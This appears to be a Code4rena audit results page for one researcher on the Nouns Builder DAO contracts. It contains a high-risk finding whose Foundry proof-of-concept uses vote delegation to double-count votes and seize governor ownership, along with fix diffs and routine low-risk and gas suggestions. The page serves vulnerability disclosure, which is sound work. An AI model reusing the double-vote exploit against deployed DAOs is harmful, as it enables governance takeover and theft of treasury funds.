Nouns Builder contest - pfapostol's results

A permissionless, governed protocol to deploy nouns-style DAOs complete with treasury, generative collections, and governance mechanisms.

General Information

Platform: Code4rena

Start Date: 06/09/2022

Pot Size: $90,000 USDC

Total HM: 33

Participants: 168

Period: 9 days

Judge: GalloDaSballo

Total Solo HM: 10

Id: 157

League: ETH

Nouns Builder

Findings Distribution

Researcher Performance

Rank: 25/168

Findings: 3

Award: $854.37

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: zkhorse

Also found by: MEP, Picodes, Solimander, berndartmueller, hxzy, hyh, pcarranzav, pfapostol

Labels

bug
duplicate
3 (High Risk)

Awards

349.0578 USDC - $349.06

External Links

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L59-L118

Vulnerability details

Summary

A voter can delegate their votes to another account and trigger a double vote.

Impact

Worst case scenario:

An attacker with 25% or even less of the votes could become the owner. Can be prevented with a veto, but sometimes a veto can be "burned to zero"

More realistic case:

the opposition uses double voting to prevent the controversial proposal from succeeding.

Proof of Concept

NOTE: You need to setUp accounts(attacker, attacker2, founder) and contracts(auction, token, governor, treasury) before. Run with forge test --match "test_audit" -vv

function test_audit_votes_dup() public {
    vm.prank(founder);
    auction.unpause();

    for (uint256 i = 0; i < 50; i++) {
        (uint256 tokenId, , , , uint40 endTime, ) = auction.auction();        

        vm.prank(attacker);
        auction.createBid{ value: 0.420 ether }(tokenId);

        vm.warp(endTime + 1 seconds);
        auction.settleCurrentAndCreateNewAuction();
    }

    vm.warp(block.timestamp + 10);
    console.log("attacker votes");
    console.logUint(governor.getVotes(attacker, block.timestamp - 1));

    console.log("delegation");
    vm.prank(attacker);
    token.delegate(attacker2);
    vm.warp(block.timestamp + 10);
    console.log("attacker2 votes");
    console.logUint(governor.getVotes(attacker2, block.timestamp - 1));

    console.log("Create proposal");

    address[] memory targets = new address[](1);
    uint256[] memory values = new uint256[](1);
    bytes[] memory calldatas = new bytes[](1);

    targets[0] = address(governor);
    calldatas[0] = abi.encodeWithSignature("transferOwnership(address)", attacker);
    vm.prank(attacker);
    bytes32 proposalId = governor.propose(targets, values, calldatas, "");
    Governor.Proposal memory proposal = governor.getProposal(proposalId);
    console.logUint(proposal.voteStart);
    console.logUint(proposal.voteEnd);

    vm.warp(proposal.voteStart + 1);

    console.logString("Current Owner");
    console.logAddress(address(treasury));
    console.logAddress(governor.owner());

    console.log("Votes");
    vm.prank(attacker);
    console.log("Attacker1 cast his votes:");
    console.log(governor.castVote(proposalId, 1));
    vm.prank(attacker2);
    console.log("Attacker2 cast votes delegated by Attacker1:");
    console.log(governor.castVote(proposalId, 1));

    proposal = governor.getProposal(proposalId);

    console.log("Votes for proposal == attacker votes * 2:");
    console.logUint(proposal.forVotes);
    console.logUint(proposal.againstVotes);
    console.logUint(proposal.abstainVotes);

    vm.warp(proposal.voteEnd + 1);
    uint256 eta = governor.queue(proposalId);
    vm.warp(eta + 1);
    governor.execute(targets, values, calldatas, keccak256(bytes("")));

    console.logString("New Owner");
    console.logAddress(attacker);
    console.logAddress(governor.owner());
}
diff --git a/src/lib/token/ERC721Votes.sol b/src/lib/token/ERC721Votes.sol
index 3e64720..fed39b8 100644
--- a/src/lib/token/ERC721Votes.sol
+++ b/src/lib/token/ERC721Votes.sol
@@ -43,6 +43,8 @@ abstract contract ERC721Votes is IERC721Votes, EIP712, ERC721 {
   43,  43:     /// @notice The current number of votes for an account
   44,  44:     /// @param _account The account address
   45,  45:     function getVotes(address _account) public view returns (uint256) {
+       46:+        if (delegation[_account] != address(0)) return 0;
+       47:+        
   46,  48:         // Get the account's number of checkpoints
   47,  49:         uint256 nCheckpoints = numCheckpoints[_account];
   48,  50: 
@@ -60,6 +62,8 @@ abstract contract ERC721Votes is IERC721Votes, EIP712, ERC721 {
   60,  62:         // Ensure the given timestamp is in the past
   61,  63:         if (_timestamp >= block.timestamp) revert INVALID_TIMESTAMP();
   62,  64: 
+       65:+        if (delegation[_account] != address(0)) return 0;
+       66:+
   63,  67:         // Get the account's number of checkpoints
   64,  68:         uint256 nCheckpoints = numCheckpoints[_account];
   65,  69: 

It is also possible to burn votes when the owner delegates them, and mint again when the voter revokes the delegation.

Summary

Low Risk Issues

IssueInstances
1Lack of zero checks for immutable variables9
2Use two-step procedure to avoid unintended burning of veto power1
3Check result of WETH transfer1

Non-critical Issues

IssueInstances
1Incomplite NatSpec1
2Typos5
3The code repeats the functionality of the library function, instead of calling it directly.2
4public functions not called by the contract should be declared external instead3

Total: 22 instances over 7 issues


Low-Risk Issues:

  1. Lack of zero checks for immutable variables (9 instances)

    diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol
    index 794da99..bfd685c 100644
    --- a/src/auction/Auction.sol
    +++ b/src/auction/Auction.sol
    @@ -37,6 +37,7 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS
       37,  37:     /// @param _manager The contract upgrade manager address
       38,  38:     /// @param _weth The address of WETH
       39,  39:     constructor(address _manager, address _weth) payable initializer {
    +       40:+        if (_manager == address(0) || _weth == address(0)) revert ZERO_ADDRESS();
       40,  41:         manager = IManager(_manager);
       41,  42:         WETH = _weth;
       42,  43:     }
    diff --git a/src/auction/IAuction.sol b/src/auction/IAuction.sol
    index 2a86610..19bc1ea 100644
    --- a/src/auction/IAuction.sol
    +++ b/src/auction/IAuction.sol
    @@ -80,6 +80,8 @@ interface IAuction is IUUPS, IOwnable, IPausable {
       80,  80:     /// @dev Reverts if the caller was not the contract manager
       81,  81:     error ONLY_MANAGER();
       82,  82:
    +       83:+    error ZERO_ADDRESS();
    +       84:+
       83,  85:     ///                                                          ///
       84,  86:     ///                          FUNCTIONS                       ///
       85,  87:     ///                                                          ///
    diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol
    index bfd685c..78a86c5 100644
    --- a/src/auction/Auction.sol
    +++ b/src/auction/Auction.sol
    @@ -61,6 +61,7 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS
    61,  61:     ) external initializer {
    62,  62:         // Ensure the caller is the contract manager
    63,  63:         if (msg.sender != address(manager)) revert ONLY_MANAGER();
    +       64:+        if (_token == address(0) || _founder == address(0) || _treasury == address(0)) revert ZERO_ADDRESS();
    64,  65:
    65,  66:         // Initialize the reentrancy guard
    66,  67:         __ReentrancyGuard_init();
    diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
    index 0d963c5..64ebf5f 100644
    --- a/src/governance/governor/Governor.sol
    +++ b/src/governance/governor/Governor.sol
    @@ -39,6 +39,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
       39,  39:
       40,  40:     /// @param _manager The contract upgrade manager address
       41,  41:     constructor(address _manager) payable initializer {
    +       42:+        if (_manager == address(0)) revert ZERO_ADDRESS();
       42,  43:         manager = IManager(_manager);
       43,  44:     }
       44,  45:
    diff --git a/src/governance/governor/IGovernor.sol b/src/governance/governor/IGovernor.sol
    index 8e4f75d..aec9963 100644
    --- a/src/governance/governor/IGovernor.sol
    +++ b/src/governance/governor/IGovernor.sol
    @@ -104,6 +104,8 @@ interface IGovernor is IUUPS, IOwnable, IEIP712, GovernorTypesV1 {
      104, 104:     /// @dev Reverts if the caller was not the contract manager
      105, 105:     error ONLY_MANAGER();
      106, 106:
    +      107:+    error ZERO_ADDRESS();
    +      108:+
      107, 109:     ///                                                          ///
      108, 110:     ///                          FUNCTIONS                       ///
      109, 111:     ///                                                          ///
    diff --git a/src/governance/treasury/ITreasury.sol b/src/governance/treasury/ITreasury.sol
    index b12f672..ccc813b 100644
    --- a/src/governance/treasury/ITreasury.sol
    +++ b/src/governance/treasury/ITreasury.sol
    @@ -54,6 +54,8 @@ interface ITreasury is IUUPS, IOwnable {
       54,  54:     /// @dev Reverts if the caller was not the contract manager
       55,  55:     error ONLY_MANAGER();
       56,  56:
    +       57:+    error ZERO_ADDRESS();
    +       58:+
       57,  59:     ///                                                          ///
       58,  60:     ///                          FUNCTIONS                       ///
       59,  61:     ///                                                          ///
    diff --git a/src/governance/treasury/Treasury.sol b/src/governance/treasury/Treasury.sol
    index b78bc8c..906dc24 100644
    --- a/src/governance/treasury/Treasury.sol
    +++ b/src/governance/treasury/Treasury.sol
    @@ -30,6 +30,7 @@ contract Treasury is ITreasury, UUPS, Ownable, TreasuryStorageV1 {
       30,  30:
       31,  31:     /// @param _manager The contract upgrade manager address
       32,  32:     constructor(address _manager) payable initializer {
    +       33:+        if (_manager == address(0)) revert ZERO_ADDRESS();
       33,  34:         manager = IManager(_manager);
       34,  35:     }
       35,  36:
    diff --git a/src/token/IToken.sol b/src/token/IToken.sol
    index 4e83558..24dae40 100644
    --- a/src/token/IToken.sol
    +++ b/src/token/IToken.sol
    @@ -39,6 +39,8 @@ interface IToken is IUUPS, IERC721Votes, TokenTypesV1 {
       39,  39:     /// @dev Reverts if the caller was not the contract manager
       40,  40:     error ONLY_MANAGER();
       41,  41:
    +       42:+    error ZERO_ADDRESS();
    +       43:+
       42,  44:     ///                                                          ///
       43,  45:     ///                           FUNCTIONS                      ///
       44,  46:     ///                                                          ///
    diff --git a/src/token/Token.sol b/src/token/Token.sol
    index afad142..f8a2735 100644
    --- a/src/token/Token.sol
    +++ b/src/token/Token.sol
    @@ -28,6 +28,7 @@ contract Token is IToken, UUPS, ReentrancyGuard, ERC721Votes, TokenStorageV1 {
       28,  28:
       29,  29:     /// @param _manager The contract upgrade manager address
       30,  30:     constructor(address _manager) payable initializer {
    +       31:+        if (_manager == address(0)) revert ZERO_ADDRESS();
       31,  32:         manager = IManager(_manager);
       32,  33:     }
       33,  34:
  2. Use two-step procedure to avoid unintended burning of veto power (1 instances)

    diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
    index 0d963c5..1d099bf 100644
    --- a/src/governance/governor/Governor.sol
    +++ b/src/governance/governor/Governor.sol
    @@ -596,6 +596,14 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
      596, 596:     function updateVetoer(address _newVetoer) external onlyOwner {
      597, 597:         if (_newVetoer == address(0)) revert ADDRESS_ZERO();
      598, 598:
    +      599:+        emit PendingVetoerUpdated(pendingVetoer, _newVetoer);
    +      600:+
    +      601:+        pendingVetoer = _newVetoer;
    +      602:+    }
    +      603:+
    +      604:+    function acceptVetoer() external {
    +      605:+        if (msg.sender != pendingVetoer) revert ONLY_PENDING_VETOER();
    +      606:+
      599, 607:         emit VetoerUpdated(settings.vetoer, _newVetoer);
      600, 608:
      601, 609:         settings.vetoer = _newVetoer;
    diff --git a/src/governance/governor/IGovernor.sol b/src/governance/governor/IGovernor.sol
    index 8e4f75d..f1ddf7e 100644
    --- a/src/governance/governor/IGovernor.sol
    +++ b/src/governance/governor/IGovernor.sol
    @@ -55,6 +55,7 @@ interface IGovernor is IUUPS, IOwnable, IEIP712, GovernorTypesV1 {
       55,  55:
       56,  56:     //// @notice Emitted when the governor's vetoer is updated
       57,  57:     event VetoerUpdated(address prevVetoer, address newVetoer);
    +       58:+    event PendingVetoerUpdated(address prevVetoer, address newVetoer);
       58,  59:
       59,  60:     ///                                                          ///
       60,  61:     ///                            ERRORS                        ///
    @@ -104,6 +105,7 @@ interface IGovernor is IUUPS, IOwnable, IEIP712, GovernorTypesV1 {
      104, 105:     /// @dev Reverts if the caller was not the contract manager
      105, 106:     error ONLY_MANAGER();
      106, 107:
    +      108:+    error ONLY_PENDING_VETOER();
      107, 109:     ///                                                          ///
      108, 110:     ///                          FUNCTIONS                       ///
      109, 111:     ///                                                          ///
    diff --git a/src/governance/governor/storage/GovernorStorageV1.sol b/src/governance/governor/storage/GovernorStorageV1.sol
    index beff22e..5973d5e 100644
    --- a/src/governance/governor/storage/GovernorStorageV1.sol
    +++ b/src/governance/governor/storage/GovernorStorageV1.sol
    @@ -17,4 +17,6 @@ contract GovernorStorageV1 is GovernorTypesV1 {
       17,  17:     /// @notice If a user has voted on a proposal
       18,  18:     /// @dev Proposal Id => User => Has Voted
       19,  19:     mapping(bytes32 => mapping(address => bool)) internal hasVoted;
    +       20:+
    +       21:+    address internal pendingVetoer;
       20,  22: }
  3. Check result of WETH transfer (1 instances)

    diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol
    index 794da99..8d8cae4 100644
    --- a/src/auction/Auction.sol
    +++ b/src/auction/Auction.sol
    @@ -360,7 +360,10 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS
      360, 360:             IWETH(WETH).deposit{ value: _amount }();
      361, 361:
      362, 362:             // Transfer WETH instead
    - 363     :-            IWETH(WETH).transfer(_to, _amount);
    +      363:+            if (!IWETH(WETH).transfer(_to, _amount)) {
    +      364:+                revert WETH_TRANSFER_ERROR();
    +      365:+            }
    +      366:+
      364, 367:         }
      365, 368:     }
      366, 369:
    diff --git a/src/auction/IAuction.sol b/src/auction/IAuction.sol
    index 2a86610..3854b0a 100644
    --- a/src/auction/IAuction.sol
    +++ b/src/auction/IAuction.sol
    @@ -80,6 +80,8 @@ interface IAuction is IUUPS, IOwnable, IPausable {
      80,  80:     /// @dev Reverts if the caller was not the contract manager
      81,  81:     error ONLY_MANAGER();
      82,  82:
    +       83:+    error WETH_TRANSFER_ERROR();
    +       84:+
      83,  85:     ///                                                          ///
      84,  86:     ///                          FUNCTIONS                       ///
      85,  87:     ///                                                          ///

Non-critical Issues:

  1. Incomplite NatSpec (1 instance)

    252                 string memory _reason // @audit not covered in NatSpec
  2. Typos (5 instances)

    diff --git a/src/governance/governor/IGovernor.sol b/src/governance/governor/IGovernor.sol
    index 8e4f75d..30c6983 100644
    --- a/src/governance/governor/IGovernor.sol
    +++ b/src/governance/governor/IGovernor.sol
    @@ -287,7 +287,7 @@ interface IGovernor is IUUPS, IOwnable, IEIP712, GovernorTypesV1 {
      287, 287:     function updateQuorumThresholdBps(uint256 newQuorumVotesBps) external;
      288, 288:
      289, 289:     /// @notice Updates the vetoer
    - 290     :-    /// @param newVetoer The new vetoer addresss
    +      290:+    /// @param newVetoer The new vetoer address
      291, 291:     function updateVetoer(address newVetoer) external;
      292, 292:
      293, 293:     /// @notice Burns the vetoer
    diff --git a/src/lib/token/ERC721Votes.sol b/src/lib/token/ERC721Votes.sol
    index 3e64720..718aaff 100644
    --- a/src/lib/token/ERC721Votes.sol
    +++ b/src/lib/token/ERC721Votes.sol
    @@ -157,7 +157,7 @@ abstract contract ERC721Votes is IERC721Votes, EIP712, ERC721 {
      157, 157:
      158, 158:         // Cannot realistically overflow
      159, 159:         unchecked {
    - 160     :-            // Compute the hash of the domain seperator with the typed delegation data
    +      160:+            // Compute the hash of the domain separator with the typed delegation data
      161, 161:             digest = keccak256(
      162, 162:                 abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR(), keccak256(abi.encode(DELEGATION_TYPEHASH, _from, _to, nonces[_from]++, _deadline)))
      163, 163:             );
    diff --git a/src/manager/Manager.sol b/src/manager/Manager.sol
    index d1025ec..ccca9ec 100644
    --- a/src/manager/Manager.sol
    +++ b/src/manager/Manager.sol
    @@ -110,7 +110,7 @@ contract Manager is IManager, UUPS, Ownable, ManagerStorageV1 {
      110, 110:         )
      111, 111:     {
      112, 112:         // Used to store the address of the first (or only) founder
    - 113     :-        // This founder is responsible for adding token artwork and launching the first auction -- they're also free to transfer this responsiblity
    +      113:+        // This founder is responsible for adding token artwork and launching the first auction -- they're also free to transfer this responsibility
      114, 114:         address founder;
      115, 115:
      116, 116:         // Ensure at least one founder is provided
    diff --git a/src/token/Token.sol b/src/token/Token.sol
    index afad142..a724efa 100644
    --- a/src/token/Token.sol
    +++ b/src/token/Token.sol
    @@ -101,7 +101,7 @@ contract Token is IToken, UUPS, ReentrancyGuard, ERC721Votes, TokenStorageV1 {
      101, 101:                 // Compute the vesting schedule
      102, 102:                 uint256 schedule = 100 / founderPct;
      103, 103:
    - 104     :-                // Used to store the base token id the founder will recieve
    +      104:+                // Used to store the base token id the founder will receive
      105, 105:                 uint256 baseTokenId;
      106, 106:
      107, 107:                 // For each token to vest:
    diff --git a/src/token/metadata/MetadataRenderer.sol b/src/token/metadata/MetadataRenderer.sol
    index 7a140ec..3f14c2a 100644
    --- a/src/token/metadata/MetadataRenderer.sol
    +++ b/src/token/metadata/MetadataRenderer.sol
    @@ -246,7 +246,7 @@ contract MetadataRenderer is IPropertyIPFSMetadataRenderer, UUPS, Ownable, Metad
      246, 246:         }
      247, 247:     }
      248, 248:
    - 249     :-    /// @dev Generates a psuedo-random seed for a token id
    +      249:+    /// @dev Generates a pseudo-random seed for a token id
      250, 250:     function _generateSeed(uint256 _tokenId) private view returns (uint256) {
      251, 251:         return uint256(keccak256(abi.encode(_tokenId, blockhash(block.number), block.coinbase, block.timestamp)));
      252, 252:     }
  3. public functions not called by the contract should be declared external instead (3 instances)

    Contracts are allowed to override their parents' functions and change the visibility from external to public.

    diff --git a/src/governance/treasury/Treasury.sol b/src/governance/treasury/Treasury.sol
    index b78bc8c..f3e6d67 100644
    --- a/src/governance/treasury/Treasury.sol
    +++ b/src/governance/treasury/Treasury.sol
    @@ -239,7 +239,7 @@ contract Treasury is ITreasury, UUPS, Ownable, TreasuryStorageV1 {
    239, 239:         address,
    240, 240:         uint256,
    241, 241:         bytes memory
    - 242     :-    ) public pure returns (bytes4) {
    +      242:+    ) external pure returns (bytes4) {
    243, 243:         return ERC721TokenReceiver.onERC721Received.selector;
    244, 244:     }
    245, 245:
    @@ -250,7 +250,7 @@ contract Treasury is ITreasury, UUPS, Ownable, TreasuryStorageV1 {
    250, 250:         uint256,
    251, 251:         uint256,
    252, 252:         bytes memory
    - 253     :-    ) public pure returns (bytes4) {
    +      253:+    ) external pure returns (bytes4) {
    254, 254:         return ERC1155TokenReceiver.onERC1155Received.selector;
    255, 255:     }
    256, 256:
    @@ -261,7 +261,7 @@ contract Treasury is ITreasury, UUPS, Ownable, TreasuryStorageV1 {
    261, 261:         uint256[] memory,
    262, 262:         uint256[] memory,
    263, 263:         bytes memory
    - 264     :-    ) public pure returns (bytes4) {
    +      264:+    ) external pure returns (bytes4) {
    265, 265:         return ERC1155TokenReceiver.onERC1155BatchReceived.selector;
    266, 266:     }
    267, 267:
  4. The code repeats the functionality of the library function, instead of calling it directly. (2 instances)

    diff --git a/src/manager/Manager.sol b/src/manager/Manager.sol
    index d1025ec..55a6c9c 100644
    --- a/src/manager/Manager.sol
    +++ b/src/manager/Manager.sol
    @@ -4,6 +4,7 @@ pragma solidity 0.8.15;
        4,   4: import { UUPS } from "../lib/proxy/UUPS.sol";
        5,   5: import { Ownable } from "../lib/utils/Ownable.sol";
        6,   6: import { ERC1967Proxy } from "../lib/proxy/ERC1967Proxy.sol";
    +        7:+import { Address } from "../lib/utils/Address.sol";
        7,   8:
        8,   9: import { ManagerStorageV1 } from "./storage/ManagerStorageV1.sol";
        9,  10: import { IManager } from "./IManager.sol";
    @@ -17,6 +18,7 @@ import { IGovernor } from "../governance/governor/IGovernor.sol";
      17,  18: /// @author Rohan Kulkarni
      18,  19: /// @notice The DAO deployer and upgrade manager
      19,  20: contract Manager is IManager, UUPS, Ownable, ManagerStorageV1 {
    +       21:+    using Address for address;
      20,  22:     ///                                                          ///
      21,  23:     ///                          IMMUTABLES                      ///
      22,  24:     ///                                                          ///
    @@ -120,7 +122,7 @@ contract Manager is IManager, UUPS, Ownable, ManagerStorageV1 {
      120, 122:         token = address(new ERC1967Proxy(tokenImpl, ""));
      121, 123:
      122, 124:         // Use the token address to precompute the DAO's remaining addresses
    - 123     :-        bytes32 salt = bytes32(uint256(uint160(token)) << 96);
    +      125:+        bytes32 salt = token.toBytes32();
      124, 126:
      125, 127:         // Deploy the remaining DAO contracts
      126, 128:         metadata = address(new ERC1967Proxy{ salt: salt }(metadataImpl, ""));
    @@ -162,7 +164,7 @@ contract Manager is IManager, UUPS, Ownable, ManagerStorageV1 {
      162, 164:             address governor
      163, 165:         )
      164, 166:     {
    - 165     :-        bytes32 salt = bytes32(uint256(uint160(_token)) << 96);
    +      167:+        bytes32 salt = _token.toBytes32();
      166, 168:
      167, 169:         metadata = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, metadataHash)))));
      168, 170:         auction = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, auctionHash)))));

#0 - GalloDaSballo

2022-09-27T13:42:25Z

1L 1R 2NC

Gas Optimizations

Gas savings are estimated using the gas report of existing forge test --gas-report tests (the sum of all deployment costs and the sum of the costs of calling all methods) and may vary depending on the implementation of the fix. I keep my version of the fix for each finding and can provide them if you need them. In this project, the optimizer is set on 500000 runs, so some of the common optimizations are useless or partially useless. Only cases that save gas with this configuration of optimizer are included in the report.

IssueInstancesEstimated gas(deployments)Estimated gas(method call)
1storage pointer to a structure is cheaper than copying each value of the structure into memory, same for array and mapping5168 8201 672
2State variables can be packed into fewer storage slots199 511-
3State variables should be cached in stack variables rather than re-reading them from storage570 5052 634
4Using bools for storage incurs overhead560 6681 191
5Storage variable is used when local exists21 4002 602
6Use named returns where appropriate32 000174
-Overall Gas Saved21341 02710 231

Total: 21 instances over 6 issues


  1. storage pointer to a structure is cheaper than copying each value of the structure into memory, same for array and mapping (5 instances)

    Deployment Gas Saved: 168 820 Method Call Gas Saved: 1 672 forge snapshot --diff: 8 746 Gas Saved

    It may not be obvious, but every time you copy a storage struct/array/mapping to a memory variable, you are copying each member by reading it from storage, which is expensive. And when you use the storage keyword, you are just storing a pointer to the storage, which is much cheaper. Exception: case when you need to read all or many members multiple times. In report included only cases that saved gas

    diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol
    index 794da99..92854f6 100644
    --- a/src/auction/Auction.sol
    +++ b/src/auction/Auction.sol
    @@ -89,7 +89,7 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS
       89,  89:     /// @param _tokenId The ERC-721 token id
       90,  90:     function createBid(uint256 _tokenId) external payable nonReentrant {
       91,  91:         // Get a copy of the current auction
    -  92     :-        Auction memory _auction = auction;
    +       92:+        Auction storage _auction = auction;
       93,  93:
       94,  94:         // Ensure the bid is for the current token
       95,  95:         if (_auction.tokenId != _tokenId) revert INVALID_TOKEN_ID();
    diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
    index 0d963c5..ca5600a 100644
    --- a/src/governance/governor/Governor.sol
    +++ b/src/governance/governor/Governor.sol
    @@ -355,7 +355,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
      355, 355:         if (state(_proposalId) == ProposalState.Executed) revert PROPOSAL_ALREADY_EXECUTED();
      356, 356:
      357, 357:         // Get a copy of the proposal
    - 358     :-        Proposal memory proposal = proposals[_proposalId];
    +      358:+        Proposal storage proposal = proposals[_proposalId];
      359, 359:
      360, 360:         // Cannot realistically underflow and `getVotes` would revert
      361, 361:         unchecked {
    
    diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
    index ca5600a..67db726 100644
    --- a/src/governance/governor/Governor.sol
    +++ b/src/governance/governor/Governor.sol
    @@ -505,7 +505,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
      505, 505:             uint256
      506, 506:         )
      507, 507:     {
    - 508     :-        Proposal memory proposal = proposals[_proposalId];
    +      508:+        Proposal storage proposal = proposals[_proposalId];
      509, 509:
      510, 510:         return (proposal.againstVotes, proposal.forVotes, proposal.abstainVotes);
      511, 511:     }
    diff --git a/src/lib/token/ERC721Votes.sol b/src/lib/token/ERC721Votes.sol
    index 3e64720..c5759cd 100644
    --- a/src/lib/token/ERC721Votes.sol
    +++ b/src/lib/token/ERC721Votes.sol
    @@ -87,7 +87,7 @@ abstract contract ERC721Votes is IERC721Votes, EIP712, ERC721 {
       87,  87:             uint256 middle;
       88,  88:
       89,  89:             // Used to temporarily hold a checkpoint
    -  90     :-            Checkpoint memory cp;
    +       90:+            Checkpoint storage cp;
       91,  91:
       92,  92:             // While a valid checkpoint is to be found:
       93,  93:             while (high > low) {
    diff --git a/src/token/metadata/MetadataRenderer.sol b/src/token/metadata/MetadataRenderer.sol
    index 7a140ec..070da5f 100644
    --- a/src/token/metadata/MetadataRenderer.sol
    +++ b/src/token/metadata/MetadataRenderer.sol
    @@ -231,7 +231,7 @@ contract MetadataRenderer is IPropertyIPFSMetadataRenderer, UUPS, Ownable, Metad
      231, 231:                 bool isLast = i == lastProperty;
      232, 232:
      233, 233:                 // Get a copy of the property
    - 234     :-                Property memory property = properties[i];
    +      234:+                Property storage property = properties[i];
      235, 235:
      236, 236:                 // Get the token's generated attribute
      237, 237:                 uint256 attribute = tokenAttributes[i + 1];

    Controversial (Not included in estimation):

    Saved in deploy: 25433, but lost 100-300 gas per user

    diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
    index ca5600a..b47413f 100644
    --- a/src/governance/governor/Governor.sol
    +++ b/src/governance/governor/Governor.sol
    @@ -412,7 +412,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
      412, 412:     /// @param _proposalId The proposal id
      413, 413:     function state(bytes32 _proposalId) public view returns (ProposalState) {
      414, 414:         // Get a copy of the proposal
    - 415     :-        Proposal memory proposal = proposals[_proposalId];
    +      415:+        Proposal storage proposal = proposals[_proposalId];
      416, 416:
      417, 417:         // Ensure the proposal exists
      418, 418:         if (proposal.voteStart == 0) revert PROPOSAL_DOES_NOT_EXIST();
  2. State variables can be packed into fewer storage slots (1 instances)

    Deployment Gas Saved: 99 511 forge snapshot --diff: 1 080 Gas Saved

    Storage:

       /*external inheritance:*/
    address internal _owner;       // 20
    address internal _pendingOwner // 20
    uint256 internal _status;      // 32
    uint8 internal _initialized;   // 1
    bool internal _initializing;   // 1
    bool internal _paused;         // 1
       /* self storage */
    Settings internal settings;
    /*
    address treasury;              // 20
    uint40 duration;               // 5
    uint40 timeBuffer;             // 5
    uint8 minBidIncrement;         // 1
    uint256 reservePrice;          // 32
    */
    Token public token;            // 20
    Auction public auction;
    /*
    uint256 tokenId;               // 32
    uint256 highestBid;            // 32
    address highestBidder;         // 20
    uint40 startTime;              // 5
    uint40 endTime;                // 5
    bool settled;                  // 1
    */

    Fix:

    diff --git a/src/auction/types/AuctionTypesV1.sol b/src/auction/types/AuctionTypesV1.sol
    index ae90c6c..8fb4241 100644
    --- a/src/auction/types/AuctionTypesV1.sol
    +++ b/src/auction/types/AuctionTypesV1.sol
    @@ -12,10 +12,10 @@ contract AuctionTypesV1 {
       12,  12:     /// @param minBidIncrement The minimum percentage an incoming bid must raise the highest bid
       13,  13:     /// @param reservePrice The reserve price of each auction
       14,  14:     struct Settings {
    -  15     :-        address treasury;
    +       15:+        uint8 minBidIncrement;
       16,  16:         uint40 duration;
       17,  17:         uint40 timeBuffer;
    -  18     :-        uint8 minBidIncrement;
    +       18:+        address treasury;
       19,  19:         uint256 reservePrice;
       20,  20:     }
       21,  21:
    @@ -27,11 +27,11 @@ contract AuctionTypesV1 {
       27,  27:     /// @param endTime The timestamp the auction ends
       28,  28:     /// @param settled If the auction has been settled
       29,  29:     struct Auction {
    -  30     :-        uint256 tokenId;
    -  31     :-        uint256 highestBid;
    -  32     :-        address highestBidder;
       33,  30:         uint40 startTime;
       34,  31:         uint40 endTime;
       35,  32:         bool settled;
    +       33:+        address highestBidder;
    +       34:+        uint256 tokenId;
    +       35:+        uint256 highestBid;
       36,  36:     }
       37,  37: }
    diff --git a/test/Auction.t.sol b/test/Auction.t.sol
    index b664078..bf2c2e5 100644
    --- a/test/Auction.t.sol
    +++ b/test/Auction.t.sol
    @@ -44,7 +44,7 @@ contract AuctionTest is NounsBuilderTest {
       44,  44:         assertEq(token.ownerOf(1), founder2);
       45,  45:         assertEq(token.ownerOf(2), address(auction));
       46,  46:
    -  47     :-        (uint256 tokenId, uint256 highestBid, address highestBidder, uint256 startTime, uint256 endTime, bool settled) = auction.auction();
    +       47:+        (uint256 startTime, uint256 endTime, bool settled, address highestBidder, uint256 tokenId, uint256 highestBid) = auction.auction();
       48,  48:
       49,  49:         assertEq(tokenId, 2);
       50,  50:         assertEq(highestBid, 0);
    @@ -71,7 +71,7 @@ contract AuctionTest is NounsBuilderTest {
       71,  71:         vm.prank(bidder1);
       72,  72:         auction.createBid{ value: _amount }(2);
       73,  73:
    -  74     :-        (, uint256 highestBid, address highestBidder, , , ) = auction.auction();
    +       74:+        (, , , address highestBidder, , uint256 highestBid) = auction.auction();
       75,  75:
       76,  76:         assertEq(highestBid, _amount);
       77,  77:         assertEq(highestBidder, bidder1);
    @@ -123,7 +123,7 @@ contract AuctionTest is NounsBuilderTest {
    123, 123:         assertEq(bidder2BeforeBalance - bidder2AfterBalance, 0.5 ether);
    124, 124:         assertEq(address(auction).balance, 0.5 ether);
    125, 125:
    - 126     :-        (, uint256 highestBid, address highestBidder, , , ) = auction.auction();
    +      126:+       (, , , address highestBidder, , uint256 highestBid) = auction.auction();
    127, 127:
    128, 128:         assertEq(highestBid, 0.5 ether);
    129, 129:         assertEq(highestBidder, bidder2);
    @@ -155,7 +155,7 @@ contract AuctionTest is NounsBuilderTest {
    155, 155:         vm.prank(bidder2);
    156, 156:         auction.createBid{ value: 1 ether }(2);
    157, 157:
    - 158     :-        (, , , , uint256 endTime, ) = auction.auction();
    +      158:+        (, uint256 endTime, , ,, ) = auction.auction();
    159, 159:
    160, 160:         assertEq(endTime, 14 minutes);
    161, 161:     }
    @@ -237,7 +237,7 @@ contract AuctionTest is NounsBuilderTest {
    237, 237:
    238, 238:         auction.settleAuction();
    239, 239:
